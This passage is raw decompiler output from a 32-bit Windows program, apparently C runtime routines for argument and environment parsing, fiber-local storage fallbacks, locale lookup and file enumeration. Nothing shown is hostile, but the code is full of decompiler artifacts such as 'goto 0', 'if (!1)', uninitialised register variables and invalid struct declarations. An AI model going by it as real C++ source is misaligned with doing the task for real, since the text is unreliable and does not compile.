*reinterpret_cast<void***>(edx7) = reinterpret_cast<void**>(92);
edx7 = edx7 + 2;
}
*edi10 = *edi10 + 1;
}
 eax20 = reinterpret_cast<uint16_t>(*reinterpret_cast<void***>(ecx6));
if (!*reinterpret_cast<void***>(&eax20))
break;
if (v14)
goto addr_404f9a_37;
if (*reinterpret_cast<void***>(&eax20) == 32)
break;
if (*reinterpret_cast<void***>(&eax20) == 9)
break;
addr_404f9a_37:
if (v16) {
if (edx7) {
*reinterpret_cast<void***>(edx7) = *reinterpret_cast<void***>(&eax20);
edx7 = edx7 + 2;
}
*edi10 = *edi10 + 1;
}
ecx6 = ecx6 + 2;
}
esi8 = a2;
ebx13 = a4;
if (edx7) {
*reinterpret_cast<void***>(edx7) = reinterpret_cast<void**>(0);
edx7 = edx7 + 2;
}
*edi10 = *edi10 + 1;
}
if (esi8) {
*reinterpret_cast<void***>(esi8) = reinterpret_cast<void**>(0);
}
*reinterpret_cast<void***>(ebx13) = *reinterpret_cast<void***>(ebx13) + 1;
return;
addr_404ed4_13:
if (edx7) {
*reinterpret_cast<int16_t*>(edx7 + 0xfffffffe) = 0;
goto addr_404ee3_14;
}
}

void** fun_405091(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7,
void** a8) {
void** v9;
void** v10;
void** ebp11;
void** ebp12;
void** v13;
void** v14;
void** ebx15;
void** ebx16;
void** v17;
void** edx18;
void** v19;
void** esi20;
void** v21;
void** edi22;
uint32_t eax23;
void** esi24;
void** ecx25;
void** edi26;
void** eax27;
void** edi28;
void** ecx29;
void** ecx30;
void** edx31;
void** eax32;
void** eax33;
void** ecx34;
void** eax35;
void** v36;
void** v37;
void** eax38;
void** v39;
void*** edi40;
void** v41;

v9 = reinterpret_cast<void**>(__return_address());
v10 = ebp11;
ebp12 = reinterpret_cast<void**>(reinterpret_cast<int32_t>(__zero_stack_offset()) - 4);
v13 = ecx;
v14 = ebx15;
ebx16 = a2;
v17 = reinterpret_cast<void**>(0);
edx18 = reinterpret_cast<void**>(0);
v19 = esi20;
v21 = edi22;
eax23 = reinterpret_cast<uint16_t>(*reinterpret_cast<void***>(ebx16));
esi24 = ebx16;
if (*reinterpret_cast<int16_t*>(&eax23)) {
 do {
if (*reinterpret_cast<int16_t*>(&eax23) != 61) {
++edx18;
}
ecx25 = esi24;
edi26 = ecx25 + 2;
do {
ecx25 = ecx25 + 2;
} while (*reinterpret_cast<void***>(ecx25));
ecx = reinterpret_cast<void**>(reinterpret_cast<int32_t>(reinterpret_cast<unsigned
char>(ecx25) - reinterpret_cast<unsigned char>(edi26)) >> 1);
esi24 = reinterpret_cast<void**>(reinterpret_cast<uint32_t>(esi24 +
reinterpret_cast<unsigned char>(ecx) * 2) + 2);
eax23 = reinterpret_cast<uint16_t>(*reinterpret_cast<void***>(esi24));
} while (*reinterpret_cast<int16_t*>(&eax23));
ebx16 = a2;
}
eax27 = fun_406be9(ecx, edx18 + 1, 4, v21, v19, v14, 0, v13);
edi28 = eax27;
ecx29 = reinterpret_cast<void**>(4);
if (!edi28) {
addr_40516c_10:
edi28 = reinterpret_cast<void**>(0);
} else {
v13 = edi28;
while (*reinterpret_cast<void***>(ebx16)) {
ecx30 = ebx16;
edx31 = ecx30 + 2;
do {
ecx30 = ecx30 + 2;
} while (*reinterpret_cast<void***>(ecx30));
eax32 = reinterpret_cast<void**>((reinterpret_cast<int32_t>(reinterpret_cast<unsigned
char>(ecx30) - reinterpret_cast<unsigned char>(edx31)) >> 1) + 1);
ecx29 = reinterpret_cast<void**>(61);
v17 = eax32;
if (*reinterpret_cast<void***>(ebx16) != 61) {
eax33 = fun_406be9(61, eax32, 2, v21, v19, v14, v17, v13);
ecx34 = reinterpret_cast<void**>(2);
if (!eax33)
goto addr_40515c_17;
eax35 = fun_406aad(2, eax33, v17, ebx16, v21, v19, v14);
if (eax35)
goto addr_40517e_19;
*reinterpret_cast<void***>(v13) = eax33;
 v13 = v13 + 4;
fun_406c46(2, 0, v21, v19, v14, v17, v13, v10, v9, a2, a3, a4, a5, a6, a7, a8);
eax32 = v17;
ecx29 = reinterpret_cast<void**>(0);
}
ebx16 = ebx16 + reinterpret_cast<unsigned char>(eax32) * 2;
}
goto addr_40515a_22;
}
addr_40516e_23:
fun_406c46(ecx29, 0, v21, v19, v14, v17, v13, v10, v9, a2, a3, a4, a5, a6, a7, a8);
return edi28;
addr_40515a_22:
goto addr_40516e_23;
addr_40515c_17:
fun_40518b(2, edi28, v21, v19, v14, v17, v13, v10, v9, a2, a3);
fun_406c46(2, 0, edi28, v21, v19, v14, v17, v13, v10, v9, a2, a3, a4, a5, a6, a7);
ecx29 = edi28;
goto addr_40516c_10;
addr_40517e_19:
fun_40603c(2, 0, 0, 0, 0, 0);
v36 = ebp12;
v37 = eax33;
if (!1) {
eax38 = g0;
v39 = edi28;
edi40 = reinterpret_cast<void***>(0);
while (eax38) {
v41 = eax38;
fun_406c46(ecx34, v41, v39, v37, v36, 0, 0, 0, 0, 0, v21, v19, v14, v17, v13, v10);
edi40 = edi40 + 4;
eax38 = *edi40;
ecx34 = v41;
}
fun_406c46(ecx34, 0, v39, v37, v36, 0, 0, 0, 0, 0, v21, v19, v14, v17, v13, v10);
}
goto 0;
}

void fun_404c7c(void** ecx, void** a2) {

void** eax3;
uint32_t esi4;
uint32_t eax5;
void** edx6;
 eax3 = ecx + 4;
esi4 = 0;
eax5 = ~(reinterpret_cast<unsigned char>(eax3) - (reinterpret_cast<unsigned char>(eax3) +
reinterpret_cast<uint1_t>(reinterpret_cast<unsigned char>(eax3) < reinterpret_cast<unsigned
char>(reinterpret_cast<unsigned char>(eax3) +
reinterpret_cast<uint1_t>(reinterpret_cast<unsigned char>(eax3) < reinterpret_cast<unsigned
char>(ecx)))))) & reinterpret_cast<unsigned char>(eax3) - reinterpret_cast<unsigned char>(ecx)
+ 3 >> 2;
if (eax5) {
edx6 = a2;
do {
++esi4;
*reinterpret_cast<void***>(ecx) = edx6;
ecx = ecx + 4;
} while (esi4 != eax5);
}
return;
}

void fun_405787(void** ecx, void** a2, void* a3, void* a4, int32_t a5, int32_t a6);

void fun_4057d8(int32_t a1, void* a2, void* a3) {

void* ebp4;

ebp4 = reinterpret_cast<void*>(reinterpret_cast<int32_t>(__zero_stack_offset()) - 4);

fun_405787(reinterpret_cast<int32_t>(ebp4) + 0xffffffff, reinterpret_cast<int32_t>(ebp4) +
0xfffffff4, a2, reinterpret_cast<int32_t>(ebp4) - 8, a1, a1);
return;
}

void fun_40cb00(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7) {
uint32_t ecx8;
int32_t ebp9;
uint32_t ebp10;
int32_t ebp11;
void*** esp12;
void* ebp13;

ecx8 = *reinterpret_cast<uint32_t*>(ebp9 - 28) ^ ebp10;

fun_402f62(ecx8, __return_address(), a2, a3, a4, a5, a6, a7);
g0 = *reinterpret_cast<void***>(ebp11 - 16);
esp12 = reinterpret_cast<void***>(reinterpret_cast<int32_t>(ebp13) + 4 - 4);
*esp12 = reinterpret_cast<void**>(__return_address());
 goto *esp12;
}

void** g41703c;

int32_t fun_4055ff(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7,
void** a8) {
void** ebp9;
void** eax10;

if (a2 == 0x4000 || (a2 == 0x8000 || a2 == 0x10000)) {

g41703c = a2;
return 0;
} else {
eax10 = fun_4060e8(ecx, ebp9, __return_address(), a2, a3, a4, a5, a6, a7, a8);
*reinterpret_cast<void***>(eax10) = reinterpret_cast<void**>(22);
fun_40602c(ecx, ebp9, __return_address(), a2, a3);
return 22;
}
}

int32_t g417038;

signed char fun_407aa9() {

int32_t esi1;

esi1 = g417038;
if (esi1) {
do {
DeleteCriticalSection();
--g417038;
--esi1;
} while (esi1);
}
return 1;
}

void** g416dc8;

void** fun_4056fb(void** ecx, void** a2, void** a3, void** a4, void** a5) {
void** eax6;

eax6 = g416dc8;
return eax6;
}

void*** fun_405730(void** a1, void** a2) {

return 0x416dcc;
}

uint32_t fun_405948(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7,
void** a8, void** a9, void** a10, void** a11, void** a12, void** a13, void** a14, void** a15, void**
a16, void** a17, void** a18, void** a19, void** a20, void** a21, void** a22) {
void** v23;
void** v24;
void** esi25;
void** esi26;
uint32_t eax27;
void** v28;
void** ebx29;
void** ebx30;
void** ecx31;
void** v32;
void** edi33;
void** ebx34;
void** edi35;
void** esi36;
void** v37;
void** eax38;
void** eax39;
void** ecx40;
void** v41;
void** eax42;
void** ecx43;
void** ecx44;
void** eax45;
uint32_t eax46;
void** eax47;
void** esi48;
void** edi49;
void** v50;
void** v51;
void** v52;
void** ebp53;
void** eax54;
void** v55;
void** v56;
void** v57;
 void** v58;
void** eax59;
void** v60;
void** eax61;
uint32_t edx62;
int32_t edx63;
int32_t edx64;
uint32_t edx65;
int32_t edx66;
uint32_t v67;
void** edx68;
uint32_t eax69;

v23 = ecx;
v24 = esi25;
esi26 = *reinterpret_cast<void***>(*reinterpret_cast<void***>(ecx));
if (esi26) {
eax27 = g416004;
v28 = ebx29;
ebx30 = *reinterpret_cast<void***>(esi26);
ecx31 = reinterpret_cast<void**>(eax27 & 31);
v32 = edi33;
ebx34 = reinterpret_cast<void**>(reinterpret_cast<unsigned char>(ebx30) ^ eax27);
edi35 = reinterpret_cast<void**>(reinterpret_cast<unsigned
char>(*reinterpret_cast<void***>(esi26 + 4)) ^ eax27);
esi36 = reinterpret_cast<void**>(reinterpret_cast<unsigned
char>(*reinterpret_cast<void***>(esi26 + 8)) ^ eax27);
__asm__("ror edi, cl");
__asm__("ror esi, cl");
__asm__("ror ebx, cl");
if (edi35 != esi36) {
addr_405a42_3:
v37 = *reinterpret_cast<void***>(*reinterpret_cast<void***>(v23 + 4));
eax38 = fun_404c5d(ecx31, v37, v32, v28, v24);
*reinterpret_cast<void***>(edi35) = eax38;
eax39 = fun_404c5d(ecx31, ebx34, v37, v32, v28);
ecx40 = *reinterpret_cast<void***>(*reinterpret_cast<void***>(v23));
*reinterpret_cast<void***>(ecx40) = eax39;
v41 = edi35 + 4;
eax42 = fun_404c5d(ecx40, v41, ebx34, v37, v32);
ecx43 = *reinterpret_cast<void***>(v23);
ecx44 = *reinterpret_cast<void***>(ecx43);
*reinterpret_cast<void***>(ecx44 + 4) = eax42;
eax45 = fun_404c5d(ecx44, esi36, v41, ebx34, v37);
 *reinterpret_cast<void***>(*reinterpret_cast<void***>(*reinterpret_cast<void***>(v23)) +
8) = eax45;
eax46 = 0;
} else {
eax47 = reinterpret_cast<void**>(0x200);
esi48 = reinterpret_cast<void**>(reinterpret_cast<int32_t>(reinterpret_cast<unsigned
char>(esi36) - reinterpret_cast<unsigned char>(ebx34)) >> 2);
if (reinterpret_cast<unsigned char>(esi48) <= reinterpret_cast<unsigned char>(0x200)) {
eax47 = esi48;
}
edi49 = reinterpret_cast<void**>(reinterpret_cast<unsigned char>(eax47) +
reinterpret_cast<unsigned char>(esi48));
if (!edi49) {
edi49 = reinterpret_cast<void**>(32);
}
if (reinterpret_cast<unsigned char>(edi49) < reinterpret_cast<unsigned char>(esi48))
goto addr_4059c9_9;
v50 = edi49;
eax54 = fun_408778(ecx31, ebx34, v50, 4, v32, v28, v24, v51, v23, v52, ebp53,
__return_address(), a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18,
a19, a20, a21, a22);
v55 = eax54;
fun_406c46(ecx31, 0, ebx34, v50, 4, v32, v28, v24, v56, v23, v55, ebp53,
__return_address(), a2, a3, a4);
ecx31 = v55;
if (ecx31)
goto addr_4059f1_11;
addr_4059c9_9:
edi49 = esi48 + 4;
v57 = edi49;
eax59 = fun_408778(ecx31, ebx34, v57, 4, v32, v28, v24, v58, v23, v55, ebp53,
__return_address(), a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18,
a19, a20, a21, a22);
fun_406c46(ecx31, 0, ebx34, v57, 4, v32, v28, v24, v60, v23, eax59, ebp53,
__return_address(), a2, a3, a4);
ecx31 = eax59;
if (ecx31)
goto addr_4059f1_11; else
goto addr_4059e9_12;
}
} else {
eax46 = 0xffffffff;
goto addr_405a84_14;
}
 addr_405a82_15:
addr_405a84_14:
return eax46;
addr_4059f1_11:
ebx34 = ecx31;
esi36 = ecx31 + reinterpret_cast<unsigned char>(edi49) * 4;
edi35 = ecx31 + reinterpret_cast<unsigned char>(esi48) * 4;
__asm__("ror eax, cl");
ecx31 = edi35;
eax61 = reinterpret_cast<void**>(g416004);
edx62 = ~(edx63 - (edx64 + reinterpret_cast<uint1_t>(edx65 < edx66 +
reinterpret_cast<uint1_t>(reinterpret_cast<unsigned char>(esi36) < reinterpret_cast<unsigned
char>(edi35))))) & reinterpret_cast<unsigned char>(esi36) - reinterpret_cast<unsigned
char>(edi35) + 3 >> 2;
v67 = edx62;
if (edx62) {
edx68 = eax61;
eax69 = 0;
do {
++eax69;
*reinterpret_cast<void***>(ecx31) = edx68;
ecx31 = ecx31 + 4;
} while (eax69 != v67);
goto addr_405a42_3;
}
addr_4059e9_12:
eax46 = 0xffffffff;
goto addr_405a82_15;
}

void fun_40cab0(void** a1, void** a2, void** a3) {

void* esp4;
void* ebp5;
int32_t* esp6;
int32_t ebx7;
int32_t* esp8;
int32_t esi9;
int32_t* esp10;
int32_t edi11;
uint32_t eax12;
uint32_t* esp13;
int32_t* esp14;

esp4 = reinterpret_cast<void*>(reinterpret_cast<int32_t>(__zero_stack_offset()) - 4 - 4);

 ebp5 = reinterpret_cast<void*>(reinterpret_cast<int32_t>(esp4) + 16);
esp6 = reinterpret_cast<int32_t*>(reinterpret_cast<int32_t>(esp4) -
reinterpret_cast<unsigned char>(a2) - 4);
*esp6 = ebx7;
esp8 = esp6 - 1;
*esp8 = esi9;
esp10 = esp8 - 1;
*esp10 = edi11;
eax12 = g416004;
esp13 = reinterpret_cast<uint32_t*>(esp10 - 1);
*esp13 = eax12 ^ reinterpret_cast<uint32_t>(ebp5);
esp14 = reinterpret_cast<int32_t*>(esp13 - 1);
*esp14 = reinterpret_cast<int32_t>(__return_address());
g0 = reinterpret_cast<void**>(reinterpret_cast<uint32_t>(ebp5) + 0xfffffff0);
goto *esp14;
}

void fun_405f9d(void** a1) {

fun_404c7c(0x416de8, a1);
return;
}

void** fun_406212(void** ecx, void** a2, void** a3, void** a4, void** a5) {
void*** ebp6;
uint32_t eax7;
void** v8;
void** esi9;
void** eax10;
void** ebp11;
void** eax12;

ebp6 = reinterpret_cast<void***>(reinterpret_cast<int32_t>(__zero_stack_offset()) - 4);

eax7 = g416004;
v8 = reinterpret_cast<void**>(eax7 ^ reinterpret_cast<uint32_t>(ebp6));
eax10 = fun_4060fb(3, "FlsAlloc", 0x40f4d8, "FlsAlloc", esi9);
if (!eax10) {
TlsAlloc();
} else {
image_base_(eax10, a2);
eax10(eax10, a2);
}
eax12 = fun_402f62(reinterpret_cast<unsigned char>(v8) ^ reinterpret_cast<uint32_t>(ebp6),
v8, ebp11, __return_address(), a2, a3, a4, a5);
return eax12;
}

void** fun_406314(void** ecx, void** a2, void** a3) {

void*** ebp4;
uint32_t eax5;
void** v6;
void** esi7;
void** eax8;
void** ebp9;
void** eax10;

ebp4 = reinterpret_cast<void***>(reinterpret_cast<int32_t>(__zero_stack_offset()) - 4);

eax5 = g416004;
v6 = reinterpret_cast<void**>(eax5 ^ reinterpret_cast<uint32_t>(ebp4));
eax8 = fun_4060fb(6, "FlsSetValue", 0x40f510, "FlsSetValue", esi7);
if (!eax8) {
TlsSetValue();
} else {
image_base_(eax8);
eax8(eax8);
}
eax10 = fun_402f62(reinterpret_cast<unsigned char>(v6) ^ reinterpret_cast<uint32_t>(ebp4),
a3, esi7, v6, ebp9, __return_address(), a2, a3);
return eax10;
}

int32_t fun_4094a6(void** a1);

void** fun_4064ad(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7,
void** a8, void** a9) {
void*** ebp10;
uint32_t eax11;
void** v12;
void** esi13;
void** eax14;
void** ebp15;
void** eax16;

ebp10 = reinterpret_cast<void***>(reinterpret_cast<int32_t>(__zero_stack_offset()) - 4);

eax11 = g416004;
v12 = reinterpret_cast<void**>(eax11 ^ reinterpret_cast<uint32_t>(ebp10));
eax14 = fun_4060fb(24, "LocaleNameToLCID", 0x40f5a0, "LocaleNameToLCID", esi13);
if (!eax14) {
fun_4094a6(a2);
 } else {
image_base_(eax14, a2, a3);
eax14(eax14, a2, a3);
}
eax16 = fun_402f62(reinterpret_cast<unsigned char>(v12) ^
reinterpret_cast<uint32_t>(ebp10), v12, ebp15, __return_address(), a2, a3, a4, a5);
return eax16;
}

int32_t fun_4094a6(void** a1) {

uint32_t eax2;

if (!a1 || ((eax2 = fun_4093ea(a1), reinterpret_cast<int32_t>(eax2) <

reinterpret_cast<int32_t>(0)) || eax2 >= 0xe4)) {
return 0;
} else {
return *reinterpret_cast<int32_t*>(eax2 * 8 + 0x4100d0);
}
}

struct s75 {
signed char[16] pad16;
void*** f10;
};

void fun_406630(void** ecx) {

void** v2;
struct s75* ebp3;

v2 = *ebp3->f10;
fun_407ada(v2);
return;
}

struct s76 {
signed char[16] pad16;
void*** f10;
};

void fun_406691(void** ecx) {

void** v2;
struct s76* ebp3;

v2 = *ebp3->f10;
 fun_407ada(v2);
return;
}

struct s77 {
signed char[8] pad8;
void*** f8;
};

struct s79 {
signed char[72] pad72;
void** f48;
};

struct s78 {
signed char[12] pad12;
struct s79*** fc;
};

void fun_40663c(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7,
void** a8, void** a9, void** a10, void** a11, void** a12) {
void** v13;
struct s77* ebp14;
int32_t ebp15;
void** ecx16;
struct s78* ebp17;
int32_t ebp18;

fun_4038a0(ecx, 0x4149a8, 8, __return_address());

v13 = *ebp14->f8;
fun_407a92(ecx, v13);
*reinterpret_cast<uint32_t*>(ebp15 - 4) = 0;
ecx16 = (**ebp17->fc)->f48;
if (ecx16 && (!1 && ecx16 != 0x416358)) {
fun_406c46(ecx16, ecx16, 0x4149a8, 8, __return_address(), a2, a3, a4, a5, a6, a7, a8, a9,
a10, a11, a12);
ecx16 = ecx16;
}
*reinterpret_cast<int32_t*>(ebp18 - 4) = -2;
fun_406691(ecx16);
fun_4038f0(ecx16, 0x4149a8, 8, __return_address(), a2);
goto 0x4149a8;
}
void fun_406758(int32_t a1, void* a2, int32_t a3, void* a4, void* a5, void* a6) {
void* ebp7;

ebp7 = reinterpret_cast<void*>(reinterpret_cast<int32_t>(__zero_stack_offset()) - 4);

fun_4065ec(reinterpret_cast<int32_t>(ebp7) + 0xffffffff, reinterpret_cast<int32_t>(ebp7) +
0xfffffff4, a2, reinterpret_cast<int32_t>(ebp7) - 8, a1, a1);
return;
}

struct s80 {
signed char[8] pad8;
void*** f8;
};

struct s81 {
signed char[12] pad12;
void**** fc;
};

void fun_4066dc(void** ecx);

void fun_40669d(void** ecx, void** a2, void* a3, void* a4, int32_t a5, int32_t a6) {
void** v7;
struct s80* ebp8;
int32_t ebp9;
void** v10;
struct s81* ebp11;
int32_t ebp12;

fun_4038a0(ecx, 0x4149c8, 8, __return_address());

v7 = *ebp8->f8;
fun_407a92(ecx, v7);
*reinterpret_cast<uint32_t*>(ebp9 - 4) = 0;
v10 = **ebp11->fc;
fun_406913(v7, v10, 0, 0x4149c8, 8, __return_address());
*reinterpret_cast<int32_t*>(ebp12 - 4) = -2;
fun_4066dc(0);
fun_4038f0(0, 0x4149c8, 8, __return_address(), a2);
goto 0x4149c8;
}

void fun_4066e8(void** ecx, void** a2, void* a3, void* a4, int32_t a5, int32_t a6);

void fun_4067a8(int32_t a1, void* a2, void** a3, void* a4) {

 void* ebp5;

ebp5 = reinterpret_cast<void*>(reinterpret_cast<int32_t>(__zero_stack_offset()) - 4);

fun_4066e8(reinterpret_cast<int32_t>(ebp5) + 0xffffffff, reinterpret_cast<int32_t>(ebp5) +
0xfffffff4, a2, reinterpret_cast<int32_t>(ebp5) - 8, a1, a1);
return;
}

void fun_4067d0(void** ecx, void** a2, int32_t a3) {

void* ebp4;
void* v5;

ebp4 = reinterpret_cast<void*>(reinterpret_cast<int32_t>(__zero_stack_offset()) - 4);

*reinterpret_cast<void***>(a2 + 24) = reinterpret_cast<void**>(1);
*reinterpret_cast<void***>(a2) = reinterpret_cast<void**>(0x40ece8);
*reinterpret_cast<void***>(a2 + 0x350) = reinterpret_cast<void**>(1);
*reinterpret_cast<void***>(a2 + 72) = reinterpret_cast<void**>(0x416358);
*reinterpret_cast<int16_t*>(a2 + 0x6c) = 67;
*reinterpret_cast<int16_t*>(a2 + 0x172) = 67;
*reinterpret_cast<uint32_t*>(a2 + 0x34c) = 0;
v5 = reinterpret_cast<void*>(reinterpret_cast<int32_t>(ebp4) - 4);
fun_4067a8(5, v5, ecx, reinterpret_cast<int32_t>(ebp4) + 8);
fun_406758(4, reinterpret_cast<int32_t>(ebp4) - 8, 5, v5, reinterpret_cast<int32_t>(ebp4) + 8,
reinterpret_cast<int32_t>(ebp4) + 12);
return;
}

uint32_t g417254;

void fun_40897c();

int32_t fun_408933(void** ecx, void** a2) {

int32_t ebp3;
int32_t ebp4;
uint32_t esi5;
uint32_t esi6;
int32_t ebp7;
int32_t ebp8;

fun_4038a0(ecx, 0x414a88, 12, __return_address());

*reinterpret_cast<uint32_t*>(ebp3 - 28) = 0;
fun_407a92(ecx, 0);
*reinterpret_cast<uint32_t*>(ebp4 - 4) = 0;
esi5 = g416004;
 esi6 = esi5 ^ g417254;
__asm__("ror esi, cl");
*reinterpret_cast<uint32_t*>(ebp7 - 28) = esi6;
*reinterpret_cast<int32_t*>(ebp8 - 4) = -2;
fun_40897c();
fun_4038f0(esi5 & 31, 0x414a88, 12, __return_address(), a2);
goto 0x414a88;
}

void** fun_406f03(void** a1, void** a2, void** a3) {

void* ebp4;
uint32_t eax5;
uint32_t v6;
void** edx7;
void** ecx8;
void** v9;
void** ebx10;
void** ebx11;
void** v12;
void** esi13;
void** v14;
void** edi15;
void** v16;
void** v17;
uint32_t eax18;
uint32_t esi19;
uint32_t eax20;
int32_t eax21;
uint32_t eax22;
void** ecx23;
uint32_t eax24;
void** v25;
void** v26;
void** v27;
void** v28;
void** v29;
void** v30;
void** v31;
void** v32;
void** v33;
void** v34;
void** v35;
void** v36;
void** v37;
void** v38;
void** v39;
void** v40;
void** v41;
void** v42;
void** v43;
void** v44;
void** v45;
void** v46;
void** v47;
void** v48;
void** v49;
void** v50;
void** v51;
void** v52;
void** v53;
void** v54;
void** v55;
void** v56;
void** v57;
void** v58;
int32_t eax59;
int32_t esi60;
void** v61;
void** v62;
void** v63;
void** v64;
void** v65;
void** ecx66;
void** v67;
int16_t v68;
int16_t v69;
int16_t v70;
int16_t v71;
void** eax72;
void* v73;
int32_t eax74;
void** v75;
void** v76;
void** v77;
void** v78;
void** eax79;
void** edx80;
void** eax81;
 void** v82;

ebp4 = reinterpret_cast<void*>(reinterpret_cast<int32_t>(__zero_stack_offset()) - 4);

eax5 = g416004;
v6 = eax5 ^ reinterpret_cast<uint32_t>(ebp4);
edx7 = a3;
ecx8 = a2;
v9 = ebx10;
ebx11 = a1;
v12 = esi13;
v14 = edi15;
v16 = edx7;
v17 = reinterpret_cast<void**>(47);
while (ecx8 != ebx11 && ((eax18 =
reinterpret_cast<uint16_t>(*reinterpret_cast<void***>(ecx8)),
*reinterpret_cast<int16_t*>(&eax18) != 47) && (*reinterpret_cast<int16_t*>(&eax18) != 92 &&
*reinterpret_cast<int16_t*>(&eax18) != 58))) {
ecx8 = ecx8 - 2;
}
esi19 = reinterpret_cast<uint16_t>(*reinterpret_cast<void***>(ecx8));
if (*reinterpret_cast<int16_t*>(&esi19) != 58 || ecx8 == ebx11 + 2) {
eax20 = esi19;
if (*reinterpret_cast<int16_t*>(&eax20) == 47 || (*reinterpret_cast<int16_t*>(&eax20) == 92
|| *reinterpret_cast<int16_t*>(&eax20) == 58)) {
eax21 = 1;
} else {
eax21 = 0;
}
eax22 = *reinterpret_cast<unsigned char*>(&eax21);
ecx23 = reinterpret_cast<void**>((reinterpret_cast<int32_t>(reinterpret_cast<unsigned
char>(ecx8) - reinterpret_cast<unsigned char>(ebx11)) >> 1) + 1);
eax24 = -eax22;
v17 = reinterpret_cast<void**>(eax24 - (eax24 + reinterpret_cast<uint1_t>(eax24 < eax24
+ reinterpret_cast<uint1_t>(!!eax22))) & reinterpret_cast<unsigned char>(ecx23));
fun_403de0(ecx23, reinterpret_cast<uint32_t>(ebp4) + 0xfffffdac, 0, 0x250, v14, v12, v9,
v25, v17, v16, v26, v27, v28, v29, v30, v31, v32, v33, v34, v35, v36, v37, v38, v39, v40, v41,
v42, v43, v44, v45, v46, v47, v48, v49, v50, v51, v52, v53, v54, v55, v56);
v57 = reinterpret_cast<void**>(reinterpret_cast<uint32_t>(ebp4) + 0xfffffdac);
v58 = ebx11;
eax59 = reinterpret_cast<int32_t>(FindFirstFileExW(v58, 0, v57, 0, 0, 0));
esi60 = eax59;
if (esi60 == -1)
goto addr_406fe0_9;
} else {
 fun_406e65(ecx8, ebx11, 0, 0, edx7, v14, v12, v9, v61, 47, v16, v62, v63, v64, v65);
goto addr_407002_11;
}
ecx66 = v16;
v67 = reinterpret_cast<void**>(reinterpret_cast<int32_t>(reinterpret_cast<unsigned
char>(*reinterpret_cast<void***>(ecx66 + 4)) - reinterpret_cast<unsigned
char>(*reinterpret_cast<void***>(ecx66))) >> 2);
do {
if (v68 != 46)
goto addr_40704e_14;
if (!v69)
continue;
if (v70 != 46)
goto addr_40704e_14;
if (!v71)
continue;
addr_40704e_14:
eax72 = fun_406e65(ecx66, reinterpret_cast<uint32_t>(ebp4) + 0xfffffdd8, ebx11, v17,
ecx66, v58, 0, v57, 0, 0, 0, v14, v12, v9, v67);
if (eax72)
break;
v73 = reinterpret_cast<void*>(reinterpret_cast<uint32_t>(ebp4) + 0xfffffdac);
eax74 = reinterpret_cast<int32_t>(FindNextFileW(esi60, v73, v58, 0, v57, 0, 0, 0));
ecx66 = v16;
} while (eax74);
goto addr_407084_19;
addr_406ff2_20:
addr_406ff4_21:
if (esi60 != -1) {
FindClose(esi60, v58, 0, v57, 0, 0, 0);
}
addr_407002_11:
eax79 = fun_402f62(v6 ^ reinterpret_cast<uint32_t>(ebp4), v67, v17, v16, v75, v76, v77,
v78);
return eax79;
addr_407084_19:
edx80 = *reinterpret_cast<void***>(ecx66);
eax81 = reinterpret_cast<void**>(reinterpret_cast<int32_t>(reinterpret_cast<unsigned
char>(*reinterpret_cast<void***>(ecx66 + 4)) - reinterpret_cast<unsigned char>(edx80)) >> 2);
if (v67 != eax81) {
fun_4095c0(edx80 + reinterpret_cast<unsigned char>(v67) * 4, reinterpret_cast<unsigned
char>(eax81) - reinterpret_cast<unsigned char>(v67), 4, fun_406c80, esi60, v73, v58, 0, v57, 0,
0, 0);
goto addr_406ff4_21;
 }
addr_406fe0_9:
fun_406e65(ecx23, ebx11, 0, 0, v16, v58, 0, v57, 0, 0, 0, v14, v12, v9, v82);
goto addr_406ff2_20;
}

void** fun_407113(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7,
void** a8, void** a9, void** a10, void** a11, void** a12, void** a13, void** a14, void** a15, void**
a16, void** a17, void** a18, void** a19, void** a20, void** a21, void** a22, void** a23, void**
a24, void** a25, void** a26) {
void** esi27;
void** v28;
void** edi29;
void* edi30;
void** eax31;
void** ebx32;
void** v33;
void** ebx34;
void** esi35;
void** eax36;
void** esi37;
void** eax38;
void** eax39;

esi27 = ecx;
v28 = edi29;
if (*reinterpret_cast<void***>(esi27 + 4) == *reinterpret_cast<void***>(esi27 + 8)) {
if (*reinterpret_cast<void***>(esi27)) {
edi30 = reinterpret_cast<void*>(reinterpret_cast<int32_t>(reinterpret_cast<unsigned
char>(*reinterpret_cast<void***>(esi27 + 8)) - reinterpret_cast<unsigned
char>(*reinterpret_cast<void***>(esi27))) >> 2);
if (reinterpret_cast<uint32_t>(edi30) > 0x7fffffff) {
addr_407145_4:
eax31 = reinterpret_cast<void**>(12);
} else {
ebx32 = reinterpret_cast<void**>(reinterpret_cast<uint32_t>(edi30) +
reinterpret_cast<uint32_t>(edi30));
v33 = *reinterpret_cast<void***>(esi27);
eax36 = fun_408778(ecx, v33, ebx32, 4, ebx34, v28, esi35, __return_address(), a2,
a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20, a21, a22, a23,
a24, a25, a26);
if (eax36) {
*reinterpret_cast<void***>(esi27) = eax36;
ecx = eax36 + reinterpret_cast<uint32_t>(edi30) * 4;
 *reinterpret_cast<void***>(esi27 + 4) = ecx;
*reinterpret_cast<void***>(esi27 + 8) = eax36 + reinterpret_cast<unsigned
char>(ebx32) * 4;
esi37 = reinterpret_cast<void**>(0);
} else {
esi37 = reinterpret_cast<void**>(12);
}
fun_406c46(ecx, 0, ebx34, v28, esi35, __return_address(), a2, a3, a4, a5, a6, a7, a8,
a9, a10, a11);
eax31 = esi37;
}
} else {
eax38 = fun_406be9(ecx, 4, 4, v28, esi35, __return_address(), a2, a3);
*reinterpret_cast<void***>(esi27) = eax38;
fun_406c46(ecx, 0, 4, 4, v28, esi35, __return_address(), a2, a3, a4, a5, a6, a7, a8, a9,
a10);
eax39 = *reinterpret_cast<void***>(esi27);
if (!eax39)
goto addr_407145_4;
*reinterpret_cast<void***>(esi27 + 4) = eax39;
*reinterpret_cast<void***>(esi27 + 8) = eax39 + 16;
goto addr_407121_11;
}
} else {
addr_407121_11:
eax31 = reinterpret_cast<void**>(0);
}
return eax31;
}

